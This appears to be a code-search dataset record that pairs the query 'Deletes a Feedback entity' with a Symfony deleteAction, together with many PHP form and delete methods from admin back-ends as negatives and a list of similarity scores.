"protected function form()\n {\n $form = new Form(new $this->currentModel);\n\n $form->tab('基本信息', function ($form) {\n\n //$form->display('id', 'ID');\n //$form->text('keyword', '关键词');\n $form->text('static_url', '静态地址')->help(\"如果输入:New-York-Downtown.html,则访问地址为:http://www.yinjispace.com/article/<span style='color:#F00;'>New-York-Downtown.html</span>\");\n $form->radio('article_status', '状态')->options(['0' => '草稿', '1' => '审核中', '2' => '已发布'])->default('0');\n $form->radio('display', '公开度')->options(['0' => '公开', '-1' => '保密'])->default('0');\n $form->datetime('release_time', '发布时间')->format('YYYY-MM-DD HH:mm:ss');\n // $form->datetime('created_at','发布时间')->format('YYYY-MM-DD HH:mm:ss');\n $form->multipleSelect('category_ids', '分类')->options(ArticleCategory::getSelectOptions());\n $form->multipleSelect('topic_ids', '专题')->options(Topic::getSelectOptions());\n $form->text('tag_ids', '标签(逗号分隔)');\n $form->text('view_num', '浏览数')->default(0);\n $form->text('like_num', '点赞数')->default(0);\n $form->text('favorite_num', '收藏数')->default(0);\n $form->text('vip_download', '下载地址');\n //$form->multipleSelect('designer_id', '设计师ID')->options(Designer::getSelectOptions());\n $form->multipleSelect('designer_id', '设计师')->options(function ($ids) {\n $designer = Designer::find($ids);\n if ($designer) {\n return $designer->pluck('title_cn', 'id');\n }\n\n })->ajax('/admin/article/get_designer_select_options');\n $form->text('article_source', '文章来源');\n $form->text('article_source_url', '文章来源URL');\n $form->image('custom_thum', '自定义封面')\n ->uniqueName()\n ->widen(880)\n ->move('public/photo/images/custom_thum/');\n $form->image('special_photo', '特色照片')\n ->uniqueName()\n ->widen(1920)\n ->move('public/photo/images/special_photo/');\n $form->text('seo_title', 'SEO标题');\n $form->text('seo_keyword', 'SEO关键词');\n $form->text('seo_desc', 'SEO描述');\n })->tab('中文', function ($form) {\n\n $form->text('title_designer_cn', '标题(设计师)');\n $form->text('title_name_cn', '标题(项目名称)');\n $form->text('title_intro_cn', '标题(项目介绍)');\n $form->text('description_cn', '自定义描述(中)');\n $form->text('location_cn', '地域(中)');\n $form->ckeditor('detail.content_cn', '正文(中)');\n\n })->tab('English', function ($form) {\n\n $form->text('title_designer_en', '标题(设计师)');\n $form->text('title_name_en', '标题(项目名称)');\n $form->text('title_intro_en', '标题(项目介绍)');\n $form->text('description_en', '自定义描述(英)');\n $form->text('location_en', '地域(英)');\n $form->ckeditor('detail.content_en', '正文(英)');\n\n });\n\n //保存前回调\n $form->saving(function (Form $form) {\n if (empty($form->model()->release_time)) {\n $form->release_time = date('Y-m-d H:i:s');\n }\n });\n\n $form->saved(function (Form $form) {\n $tags = explode(',', $form->tag_ids);\n foreach ($tags as $tag) {\n echo $tag;\n $ret = ArticleTag::firstOrCreate(['name_cn' => trim($tag)]);\n }\n\n });\n\n\n return $form;\n }",
"public function editFormAction()\n {\n\t\t$id = $this->params()->fromRoute(\"id\", \"\");\n\t\t$form_type = $this->params()->fromQuery(\"ftype\", \"\");\n\n\t\tif ($id == \"\")\n\t\t{\n\t\t\t//set error message\n\t\t\t$this->flashMessenger()->addErrorMessage(\"Form could not be loaded. Id is not set\");\n\t\t\t//redirect to index page\n\t\t\treturn $this->redirect()->toRoute(\"front-form-admin\");\n\t\t}//end if\n\n\t\t//load form data\n\t\t$objForm = $this->getFormAdminModel()->getForm($id);\n\n\t\t//load form\n\t\t$form = $this->getFormAdminModel()->getFormAdminForm($form_type);\n\n\t\t//save form type and remove option from form\n\t\t$fk_form_type_id = $objForm->get(\"fk_form_type_id\");\n\n\t\t//disable form type element\n\t\t$form->get(\"fk_form_type_id\")->setAttribute(\"disabled\", \"disabled\");\n\n\t\t//bind data to form\n\t\t$form->bind($objForm);\n\n\t\t$request = $this->getRequest();\n\t\tif ($request->isPost())\n\t\t{\n\t\t\t$arr_data = $request->getPost();\n\t\t\t$arr_data[\"fk_form_type_id\"] = $fk_form_type_id;\n\t\t\t$form->setData($arr_data);\n\n\t\t\tif ($form->isValid($request->getPost()))\n\t\t\t{\n\t\t\t\ttry {\n\t\t\t\t\t//update the form\n\t\t\t\t\t$objForm = $form->getData();\n\t\t\t\t\t$objForm->set(\"id\", $id);\n\t\t\t\t\t$objForm->set(\"fk_form_type_id\", $fk_form_type_id);\n\n\t\t\t\t\t$objForm = $this->getFormAdminModel()->editForm($objForm);\n\n\t\t\t\t\t//set success message\n\t\t\t\t\t$this->flashMessenger()->addSuccessMessage(\"Form has been updated\");\n\n\t\t\t\t\t//redirect to index page\n\t\t\t\t\treturn $this->redirect()->toRoute(\"front-form-admin\");\n\t\t\t\t} catch (\\Exception $e) {\n\t\t\t\t\t//set error message\n\t\t\t\t\t$form = $this->frontFormHelper()->formatFormErrors($form, $e->getMessage());\n\t\t\t\t}//end catch\n\t\t\t}//end if\n\t\t}//end if\n\n\t\tif ($objForm->get(\"id\") == \"\")\n\t\t{\n\t\t\t//reload form data\n\t\t\t$objForm = $this->getFormAdminModel()->getForm($id);\n\t\t}//end if\n\n\t\treturn array(\n\t\t\t\t\"form\" => $form,\n\t\t\t\t\"objForm\" => $objForm\n\t\t);\n }",
"protected function form()\n {\n $form = new Form(new Article);\n\n $form->text('title', '标题')->rules('required', ['标题不可为空']);\n $form->cropper('cover', '封面')->uniqueName();\n $form->multipleImage('covers', '多封面')->help('可选');\n $form->select('category_id', '类型')->options(ArticleCategory::all()->pluck('title', 'id'));\n $form->number('read_count', '阅读数');\n $form->number('share_count', '分享数');\n $form->number('like_count', '喜欢数');\n $form->switch('cover_state', '是否显示多图封面');\n $form->datetime('show_at', '显示时间')->default(now());\n $form->textarea('desc', '描述');\n $form->UEditor('detail', '文章详情');\n\n $form->saving(function (Form $form) {\n $form->detail = str_replace('crossorigin=\"anonymous\"', '', $form->detail);\n });\n return $form;\n }",
"protected function form()\n {\n $form = new Form(new Activity());\n\n $form->text('name', __('Name'));\n $form->image('image', __('Image'));\n $form->text('intro', __('Intro'));\n $form->UEditor('details', __('Details'));\n $form->datetime('start_at', __('Start at'))->default(date('Y-m-d H:i:s'));\n $form->datetime('end_at', __('End at'))->default(date('Y-m-d H:i:s'));\n $form->text('location', __('Location'));\n $form->decimal('fee', __('Fee'))->default(0.00);\n $form->number('involves', __('Involves'));\n $form->number('involves_min', __('Involves min'));\n $form->number('involves_max', __('Involves max'));\n $form->switch('status', __('Status'));\n $form->text('organizers', __('Organizers'));\n $form->number('views', __('Views'));\n $form->switch('is_stick', __('Is stick'));\n\n return $form;\n }",
"public function editForm(): void\n {\n $this->articleId = $_GET['id'];\n $query = $this->articleModel->displayOneArticle($this->articleId);\n $editArticle = $query->fetch();\n\n $this->title = $editArticle['title'];\n $this->content = $editArticle['content'];\n $this->category = $editArticle['category'];\n }",
"protected function form()\n {\n $form = new Form(new Ticket);\n\n\n $form->text('ticket_article', 'Номер заявки')->default(mt_rand(100000, 999999))->placeholder(' ');\n $form->text('fio', 'ФІО')->placeholder(' ');\n $form->mobile('phone', 'Телефон')->options(['mask' => '+38(999) 999 99 99'])->placeholder(' ');\n $form->text('city', 'Місто')->placeholder(' ');\n $form->text('adress', 'Адреса')->placeholder(' ');\n $form->email('email', 'Email')->placeholder(' ');\n $form->select('type', 'Тип')->options([\n 'Ремонт' => 'Ремонт',\n 'Запчастини' => 'Запчастини',\n 'Дефект' => 'Дефект'\n ])->placeholder(' ');\n $form->text('brand', 'Бренд')->placeholder(' ');\n $form->text('model', 'Модель')->placeholder(' ');\n $form->text('serial_number', 'С/Н')->placeholder(' ');\n\n $form->date('date_sale', 'Дата продажу')->format('DD.MM.YYYY')->placeholder(' ');\n $form->textarea('description', 'Додатково')->placeholder(' ');\n $form->multipleFile('files', 'Файли')->placeholder(' ');\n $form->textarea('answer', 'Відповідь клієнту')->placeholder(' ');\n $form->select('status', 'Статус')->options([\n 'Відкрита' => 'Відкрита',\n 'В обробці' => 'В обробці',\n 'Закрита' => 'Закрита'\n ])->placeholder(' ');\n\n return $form;\n }",
"private function createEditForm(IdeaPrize $entity)\n {\n $form = $this->createForm(new IdeaPrizeType(), $entity, array(\n 'action' => $this->generateUrl('premiacao_ideia_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(Lead $entity)\n {\n $form = $this->createForm(new LeadType(), $entity, array(\n 'action' => $this->generateUrl('admin_lead_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(Task $entity) //recibiendo nuestra entidad de tarea\n {\n //$form = $this->createForm(new TaskType, $entity, array( \n //pero para Symfony3.4.15 ahora es: \n $form = $this->createForm(TaskType::class, $entity, array(\n 'action' => $this->generateUrl('infunisa_task_update', array('id' => $entity->getId())),\n 'method' => 'PUT' //como estamos editando la tarea usamos PUT\n ));\n \n return $form;\n }",
"private function createEditForm(FrontBottom $entity)\n {\n $form = $this->createForm(new FrontBottomType(), $entity, array(\n 'action' => $this->generateUrl('frontbottom_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(BonCommandeLigne $entity)\n {\n $form = $this->createForm(new BonCommandeLigneType(), $entity, array(\n 'action' => $this->generateUrl('boncommandeligne_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(Whitelist $entity)\n {\n $form = $this->createForm(new WhitelistType(), $entity, array(\n 'action' => $this->generateUrl('whitelist_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"public function edit($id)\n\t{\n\t\t$feedback = $this->feedback->find($id);\n\n\t\tif (is_null($feedback))\n\t\t{\n\t\t\treturn Redirect::route('feedbacks.index');\n\t\t}\n\n\t\treturn View::make('feedbacks.edit', compact('feedback'));\n\t}",
"protected function form()\n {\n $form = new Form(new Cases);\n\n $form->select('cate_id', '分类')->options('/admin/api/getcasecate');\n $form->select('algw_id', '顾问')->options('/admin/api/getgw');\n $form->text('title', '标题');\n $form->text('keywords', 'SEO关键字');\n $form->text('description', 'SEO描述');\n $form->text('desc', '副标题');\n $form->text('author', '来源');\n $form->radio('is_tj', '推荐')->options([0=>'否',1=>'是']);\n $form->image('thumb', '缩略图')->uniqueName();\n $form->editor('data', '详情');\n\n\n return $form;\n }",
"protected function createComponentEditStudyFieldForm(): Form {\n $studyFieldId = $this->getParameter('id');\n $studyField = isset($studyFieldId) ? $this->studyFieldModel->getById($studyFieldId) : null;\n\n $form = new Form;\n $form->addText('name', 'Název')\n ->setRequired('Prosím vyplňte název.')\n ->setHtmlAttribute('autocomplete', 'off')\n ->setDefaultValue($studyField ? $studyField['nazev'] : '')\n ->setMaxLength(50);\n\n $form->addSubmit('send', $studyField ? 'Upravit' : 'Přidat');\n\n $form->onSuccess[] = [$this, 'onEdit'];\n return $form;\n }",
"private function createEditForm(Feriado $entity)\n {\n $form = $this->createForm(new FeriadoType(), $entity, array(\n 'action' => $this->generateUrl('feriado_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"public function create()\n {\n $elements = $this->createForm('formAlerte.json');\n\n return view('admin.editCreateForm', [\n 'elements' => $elements,\n ]);\n }",
"private function createEditForm(PartnerCategory $entity)\n {\n $form = $this->createForm(new PartnerCategoryType(), $entity, array(\n 'action' => $this->generateUrl('admin_partner_category_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit',\n array(\n 'label' => 'Enregistrer',\n 'attr' => array('class' => 'btn btn-success')\n ));\n\n return $form;\n }",
"private function createEditForm(Article $entity)\n {\n $form = $this->createForm(new ArticleType(), $entity, array(\n 'action' => $this->generateUrl($this->mesRoutes[\"update\"], array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"public function editformAction(){\n\t\t$this->loadLayout();\n $this->renderLayout();\n\t}",
"private function createEditForm(AdTiposComision $entity)\n {\n $form = $this->createForm(new AdTiposComisionType(), $entity, array(\n 'action' => $this->generateUrl('adtiposcomision_update', array('id' => $entity->getIdTipoComision())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"private function createEditForm(PersonnelPersonnel $entity)\n {\n $form = $this->createForm(new PersonnelPersonnelType(), $entity, array(\n 'action' => $this->generateUrl('personnelpersonnel_update', array('id' => $entity->getIdenuniq())),\n 'method' => 'PUT',\n ));\n\n // $form->add('submit', 'submit', array('label' => 'Update'));\n\n return $form;\n }",
"protected function createComponentEditorForm()\n {\n $form = new Form;\n $form->addHidden('article_id');\n $form->addText('title', 'Titulek')->setRequired();\n $form->addText('url', 'URL')->setRequired();\n $form->addText('description', 'Popisek')->setRequired();\n $form->addTextArea ('content', 'Obsah');\n $form->addSubmit('submit', 'Uložit článek');\n $form->onSuccess[] = [$this, 'editorFormSucceeded'];\n return $form;\n }",
"public function getForm()\n {\n $editing = (!empty($this->id) && $this->id > 0) ? true : false;\n\n $path = ($editing) ? $this->getEditPath() : $this->getAddPath(); \n\n $Captcha = new MathCaptcha();\n\n $twig = new \\Twig_Environment(new \\Twig_Loader_Filesystem(TEMPLATES_DIR));\n \n $body = $twig->render(\n 'plain_comment_form.twig.html',\n array(\n 'path' => $path,\n 'editing' => $editing,\n 'id' => $this->id,\n 'group' => $this->group,\n 'nick' => $this->nick,\n 'email' => $this->email,\n 'webpage' => $this->www,\n 'content' => $this->content,\n 'operation' => $Captcha->getOperation(),\n 'result' => $Captcha->getResult(),\n 'return_link' => $_SESSION['return']\n ));\n\n return $body;\n }",
"private function createEditForm(Education $entity)\n {\n $user = $this->get('security.context')->getToken()->getUser();\n $form = $this->createForm(new EducationType($user->getId()), $entity, array(\n 'action' => $this->generateUrl('education_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n 'attr' => array(\n 'class' => 'form-horizontal',\n 'novalidate' => 'novalidate',\n )\n ));\n\n $form->add('submit', 'submit', array('label' => 'Update', 'attr' => array('class' => 'btn btn-primary')));\n $form->add('reset', 'reset', array('label' => 'Reset', 'attr' => array('class' => 'btn btn-danger')));\n\n\n return $form;\n }",
"public function edit($id)\n\t{\n\t\t$form = \\View::make('message.form');\n\t\t$form->message = Message::find($id);\n\t\t$form->action = array('action' => array('Toomdrix\\Pm\\MessageController@update', $form->message->id),'class'=>'form-signup');\n\t\treturn $form;\n\t}",
"private function createEditForm(Configuracao $entity)\n {\n $translated = $this->get('translator');\n $form = $this->createForm(new ConfiguracaoType($this->get('security.authorization_checker')->isGranted('ROLE_ADMIN')), $entity, array(\n 'action' => $this->generateUrl('configuracao_update', array('id' => $entity->getId())),\n 'method' => 'PUT',\n ));\n\n $form->add('submit', 'submit', array('label' => $translated->transChoice('txt.editar',0,array(),'messagesCommonBundle'), 'attr' => array('class' => 'btn btn-primary btn-lg')));\n\n return $form;\n }"
] | [
"0.69763064",
"0.6975052",
"0.6975052",
"0.69317025",
"0.691121",
"0.6873691",
"0.67719513",
"0.67685795",
"0.6712323",
"0.665951",
"0.6480003",
"0.6417916",
"0.64060366",
"0.63611966",
"0.6346957",
"0.6299343",
"0.6267583",
"0.6251645",
"0.62403685",
"0.62227505",
"0.6209407",
"0.6209407",
"0.6208434",
"0.62062234",
"0.6198993",
"0.61918193",
"0.61896265",
"0.6187451",
"0.61785454",
"0.6175498",
"0.6147785",
"0.61144346",
"0.60910356",
"0.6082434",
"0.6079362",
"0.607729",
"0.6065927",
"0.6060511",
"0.60574913",
"0.60497165",
"0.6049414",
"0.6047145",
"0.6044692",
"0.6040178",
"0.60393876",
"0.6016808",
"0.6001904",
"0.5995219",
"0.59825456",
"0.59786433",
"0.5977901",
"0.5966206",
"0.59583795",
"0.59495914",
"0.59458435",
"0.5943326",
"0.5942605",
"0.5941419",
"0.5916428",
"0.59163064",
"0.5905547",
"0.5901749",
"0.5896492",
"0.58952284",
"0.58855134",
"0.5885161",
"0.5882511",
"0.58809185",
"0.5876785",
"0.58758837",
"0.5874038",
"0.58726645",
"0.5867376",
"0.5865124",
"0.58643013",
"0.5859159",
"0.5858176",
"0.5856088",
"0.58534735",
"0.584686",
"0.5846151",
"0.58393407",
"0.5835599",
"0.5834233",
"0.58330184",
"0.58323354",
"0.58320373",
"0.5827204",
"0.5826596",
"0.58255154",
"0.5825184",
"0.58217645",
"0.58200485",
"0.5817968",
"0.5811422",
"0.5808413",
"0.58075917",
"0.58062977",
"0.5799654",
"0.57963336"
] | 0.78316146 | 0 |
Deletes a Feedback entity. | public function deleteAction(Request $request, Feedback $entity)
{
$form = $this->createDeleteForm($entity);
$form->handleRequest($request);
$em = $this->getDoctrine()->getManager();
if (!$entity) {
throw $this->createNotFoundException('Unable to find Feedback entity.');
}
$em->remove($entity);
$em->flush();
// Mostrando mensaje
$this->get('session')->getFlashBag()->add('success', 'The feedback was deleted successfully.');
return $this->redirect($this->generateUrl('feedback'));
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function delete(){\n\t\t$this->feedbacks_model->delete();\n\t}",
"public function delete($entity);",
"public function destroy(Feedback $feedback)\n {\n //\n }",
"public function destroy(Feedback $feedback)\n {\n //\n }",
"public function destroy(Feedback $feedback)\n {\n //\n\n $aktUser = Auth::user();\n if (!$aktUser->demo) {\n $feedback->delete();\n }\n\n return redirect('/admin/feedback');\n }",
"public function destroy(feedback $feedback)\n {\n //\n }",
"public function delete($entity){ \n //TODO: Implement remove record.\n }",
"public function destroy(Feedback $feedback): RedirectResponse\n {\n $feedback->delete();\n return redirect()->route('feedback.index')\n ->with('success', 'Feedback deleted successfully');\n }",
"public function deleteAction()\n {\n if ( $this->getRequest()->getParam('id') > 0) {\n try {\n $ifeedback = Mage::getModel('bs_kst/ifeedback');\n $ifeedback->setId($this->getRequest()->getParam('id'))->delete();\n Mage::getSingleton('adminhtml/session')->addSuccess(\n Mage::helper('bs_kst')->__('Instructor Feedback was successfully deleted.')\n );\n $this->_redirect('*/*/');\n return;\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id')));\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('There was an error deleting instructor feedback.')\n );\n $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id')));\n Mage::logException($e);\n return;\n }\n }\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('Could not find instructor feedback to delete.')\n );\n $this->_redirect('*/*/');\n }",
"public function delete($entity)\n {\n \n }",
"public function destroy(Feedback $feedback)\n {\n $this->authorize('delete', $feedback);\n\n $feedback->delete();\n\n $this->flash('deleted');\n\n return redirect()->route('dashboard.feedback.index');\n }",
"public function delete(DimeEntityInterface $entity);",
"public function deleteFeedback( $feedbackId){\n $db = Db::getConnection();\n $sql = 'DELETE FROM `feedbacks` WHERE `feedbackId`= :feedbackId ';\n $result = $db->prepare($sql);\n $result->bindParam(':feedbackId', $feedbackId, PDO::PARAM_INT);\n\n\n $result->execute();\n\n return true;\n }",
"public function delete(EntityInterface $Entity);",
"public function Delete($entity) {\n }",
"private function createDeleteForm(Feedback $entity)\n {\n return $this->createFormBuilder()\n ->setAction($this->generateUrl('feedback_delete', array('id' => $entity->getId())))\n ->setMethod('DELETE')\n ->getForm();\n }",
"public function deleteFeedback($feedback_id){\n\t\t$sql = \"DELETE FROM feedbacks WHERE feedback_id = :feedback_id\";\n\n\t\t$del = $this->dbcon->prepare($sql);\n\t\t\n\t\t$del->bindParam(':feedback_id', $feedback_id);\n\t\t\n\t\t$count = $del->execute();\n\t\treturn $count;\n\t}",
"public function delete($entity) {\n $this->deleteRecord([\n 'id' => $entity->getId(),\n ]);\n }",
"protected function entityDelete(){\n // TODO: deal with errors\n // delete from api\n $deleted = $this->resourceService()->delete($this->getId());\n }",
"public function is_allowed_to_delete_feedback($feedback);",
"public function delete(DataObject $entity){\n }",
"public function delete($entity) : bool;",
"function time_tracker_activity_delete($entity) {\n entity_get_controller('time_tracker_activity')->delete($entity);\n}",
"public function delete(IndexableEntity $entity);",
"public function destroy($id)\n {\n Feedback::destroy($id);\n }",
"public function destroy($feedbackid){\n\t\t$findUser = feedbackInfo::getById($feedbackid);\n\n\t\t// update/set the attributes of the feedback\n\t\t$feedback = new feedbackInfo();\n\n\t\t$feedback->feedbackid = $findUser['feedbackid'];\n\n\t\t// delete the feedback\n\t\t$feedback->delete();\n\n\t\t// set message\n\t\t$message=\"The record has been successfully deleted\";\n echo \"<script type='text/javascript'> \n alert('$message');\n window.location.href=('../../SupplierInterface/view/indexEqInterface.php');\n </script>\";\n\t}",
"public function deleteEntity($entity)\n {\n return $this->model->destroy($entity->id);\n\n }",
"public function delete($entity)\n {\n $statement = \"DELETE FROM contact WHERE id = :id\";\n $prepare = $this->db->prepare($statement);\n $prepare->bindValue(\":id\", $entity->getId());\n $prepare->execute();\n }",
"public function deletequestionAction()\r\n {\r\n if ($this->getRequest()->isPost()) {\r\n $params = $this->getRequest()->getParams();\r\n $questionId = $params['questionId'];\r\n\r\n\r\n $question = new Application_Model_DbTable_FicheQuestion();\r\n // delete the question\r\n $question->deleteQuestion($questionId);\r\n\r\n // Return to the page informations\r\n $this->_helper->redirector('gestionquestion', 'admin', null);\r\n\r\n }\r\n\r\n }",
"public function deleteById($faqId);",
"public function deleteAction()\r\n\t{\r\n\t\t// check if we know what should be deleted\r\n\t\tif ($id = $this->getRequest()->getParam('faq_id')) {\r\n\t\t\ttry {\r\n\t\t\t\t\r\n\t\t\t\t// init model and delete\r\n\t\t\t\t$model = Mage::getModel('flagbit_faq/faq');\r\n\t\t\t\t$model->load($id);\r\n\t\t\t\t$model->delete();\r\n\t\t\t\t\r\n\t\t\t\t// display success message\r\n\t\t\t\tMage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('cms')->__('FAQ Entry was successfully deleted'));\r\n\t\t\t\t\r\n\t\t\t\t// go to grid\r\n\t\t\t\t$this->_redirect('*/*/');\r\n\t\t\t\treturn;\r\n\t\t\t\r\n\t\t\t}\r\n\t\t\tcatch (Exception $e) {\r\n\t\t\t\t\r\n\t\t\t\t// display error message\r\n\t\t\t\tMage::getSingleton('adminhtml/session')->addError($e->getMessage());\r\n\t\t\t\t\r\n\t\t\t\t// go back to edit form\r\n\t\t\t\t$this->_redirect('*/*/edit', array (\r\n\t\t\t\t\t\t'faq_id' => $id ));\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// display error message\r\n\t\tMage::getSingleton('adminhtml/session')->addError(Mage::helper('cms')->__('Unable to find a FAQ entry to delete'));\r\n\t\t\r\n\t\t// go to grid\r\n\t\t$this->_redirect('*/*/');\r\n\t}",
"public function delete($entity)\n {\n $this->getEventDispatcher()->dispatch(\n TrackingHistoryEvents::PRE_DELETE,\n new TrackingHistoryEvent($entity)\n );\n\n parent::delete($entity);\n\n $this->getEventDispatcher()->dispatch(\n TrackingHistoryEvents::POST_DELETE,\n new TrackingHistoryEvent($entity)\n );\n }",
"public function destroy($id)\n {\n if (!$feedback = Feedback::find($id)) {\n throw new NotFoundHttpException('Feedback not found');\n }\n //delete feedback\n if ($feedback->delete()) {\n return response()->json(['status' => 'Feedback deleted'], 201);\n }\n //feedback not deleted\n throw new DeleteResourceFailedException('feedback delete request failed');\n }",
"public function delete($entity)\n {\n $this->getObjectManager()->remove($entity);\n $this->getObjectManager()->flush();\n }",
"public function delete()\n {\n $this->repository->delete($this->id);\n }",
"public function delete()\n {\n $this->_validateModifiable();\n\n $this->_getDataSource()->delete($this);\n }",
"public function deleteAction(){\n $id = $this->filterInt($this->_params[0]);\n $supplier = SupplierModel::getByPK($id);\n \n if($supplier === FALSE){\n $this->redirect('/suppliers');\n }\n $this->language->load('suppliers.messages');\n if($supplier ->delete()){\n $this->messeger->add($this->language->get('message_delete_success'));\n $this->redirect('/suppliers');\n }else {\n $this->messeger->add($this->language->get('message_delete_failed'), Messenger::ERROR_MESSEEGE);\n $this->redirect('/suppliers');\n }\n }",
"public function actionDelete()\n {\n $id = Yii::$app->request->post('id');\n $this->findModel($id)->delete();\n }",
"function delete($id)\n {\n if ($this->db->delete('fis_dworkshopseminar_feedbacks', array('wsfeed_id' => $id))) {\n $this->session->set_userdata('typeNotif', 'successDelete');\n return TRUE;\n } else {\n $this->session->set_userdata('typeNotif', 'errorDelete');\n return FALSE;\n }\n }",
"public function delete()\n {\n $entities = $this->entities;\n Database::getInstance()->doTransaction(\n function() use ($entities)\n {\n foreach ($entities as $entity)\n {\n $entity->delete();\n }\n }\n );\n }",
"public static function delete($entity)\n {\n return static::mapper()->delete($entity);\n }",
"public function delete() {\r\n\t\t$this->getMapper()->delete($this);\r\n\t}",
"public function deleteAction() {\n\t\t$redirect_url = Minz_Request::param('r', false, true);\n\t\tif (!$redirect_url) {\n\t\t\t$redirect_url = array('c' => 'subscription', 'a' => 'index');\n\t\t}\n\t\tif (!Minz_Request::isPost()) {\n\t\t\tMinz_Request::forward($redirect_url, true);\n\t\t}\n\n\t\t$id = Minz_Request::param('id');\n\n\t\tif (self::deleteFeed($id)) {\n\t\t\tMinz_Request::good(_t('feedback.sub.feed.deleted'), $redirect_url);\n\t\t} else {\n\t\t\tMinz_Request::bad(_t('feedback.sub.feed.error'), $redirect_url);\n\t\t}\n\t}",
"function delete(IContract $entity);",
"public function destroy($id)\n {\n // retrieve single data of feedback by slug, prepare for Eloquent model\n // if a unregistered slug has been given by client then fail and return page not found 404\n $feedback = $this->feedback->find($id);\n\n // delete feedback by related data which retrieved\n $feedback->delete();\n\n return redirect()->route('admin::feedback.index')\n ->with('status', Lang::get('alert.feedback_deleted'));\n }",
"public function deleteAction()\n {\n /* Check if user is signed in and redirect to sign in if is not */\n $this->requireSignin();\n\n /* Getting current user's data */\n $user = Auth::getUser();\n\n /* Redirect link after deleting. By default index page */\n $returnUrl = (isset($_POST['return'])) ? '/'.$_POST['return'] : '/';\n\n /* Getting Question by id */\n $answer = Answer::getById(intval($_POST['id']));\n\n /* If Answer exists and is active */\n if ($answer) {\n\n /* Checking if signed in user is answer's author */\n if ($answer->user_id == $user->id) {\n\n /* Check if question deleted */\n if (Answer::delete($answer->id)) {\n\n Flash::addMessage(\"Answer deleted!\", Flash::INFO);\n \n } else {\n\n Flash::addMessage(\"You can not delete this answer!\", Flash::INFO);\n }\n\n } else {\n\n Flash::addMessage(\"You can not delete this answer!\", Flash::INFO);\n }\n\n } else {\n\n Flash::addMessage(\"You can not delete this answer!\", Flash::INFO);\n }\n\n /* Redirect back */\n $this->redirect($returnUrl);\n }",
"public function action_delete_delete(){\r\n\t\t\t//permission check\r\n\t\t\tif(!$this->user->can('Assumeownership', array('owner' => $this->user->id))){\r\n\t\t\t\t$this->throw_permission_error(Constant::NOT_OWNER);\r\n\t\t\t}\r\n\r\n\t\t\tif(!isset($this->myID) || !isset($this->myID2))\r\n\t\t\t{\r\n\t\t\t\t$error_array = array(\r\n\t\t\t\t\t\"error\" => \"Required Parameters Missing\",\r\n\t\t\t\t\t\"desc\" => \"Required Parameters Missing.\"\r\n\t\t\t\t);\r\n\r\n\t\t\t\t$this->modelNotSetError($error_array);\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t\t$subject = Ent::eFact($this->myID, $this->myID2);\r\n\t\t\t$subject->delete_with_deps();\r\n\t\t\treturn $subject->getBasics();\r\n\t\t}",
"public function delete_instance() {\n global $DB;\n // Will throw exception on failure.\n $DB->delete_records('assignfeedback_helixfeedback', array('assignment' => $this->assignment->get_instance()->id));\n return true;\n }",
"public function actionDelete()\n {\n if (!$this->isAdmin()) {\n $this->getApp()->action403();\n }\n\n $request = $this->getApp()->getRequest();\n $id = $request->paramsNamed()->get('id');\n $model = $this->findModel($id);\n if (!$model) {\n $this->getApp()->action404();\n }\n\n $model->delete();\n\n return $this->back();\n }",
"public function deleteAction()\n {\n if ($this->isConfirmedItem($this->_('Delete %s'))) {\n $model = $this->getModel();\n $deleted = $model->delete();\n\n $this->addMessage(sprintf($this->_('%2$u %1$s deleted'), $this->getTopic($deleted), $deleted), 'success');\n $this->_reroute(array('action' => 'index'), true);\n }\n }",
"public function deleteAction()\n {\n $isPosted = $this->request->getPost('doDelete');\n if (!$isPosted) {\n $this->response->redirect($this->request->getPost('redirect'));\n }\n $comment = [\n 'id' => $this->request->getPost('id'),\n 'pageKey' => $this->request->getPost('pageKey')\n ];\n $comments = new \\Anax\\Comment\\CommentsInSession();\n $comments->setDI($this->di);\n $comments->delete($comment);\n $this->response->redirect($this->request->getPost('redirect'));\n }",
"public function deleteModel($entity){\n $this->entityManager->remove($entity);\n $this->entityManager->flush();\n }",
"public function deleteFeedback($id, $db){\n $sql = \"DELETE FROM feedbacks WHERE id = :id\";\n\n $pst = $db->prepare($sql);\n $pst->bindParam(':id',$id);\n\n $count = $pst->execute();\n\n //if returned rows more then 1 refresh page\n if($count){\n header(\"Location: Adminfeedback.php\");\n }\n else{\n echo \"Problem\";\n }\n }",
"public function delete()\n {\n Db::getInstance()->delete($this->getTableName(), ['id' => $this->getId()]);\n }",
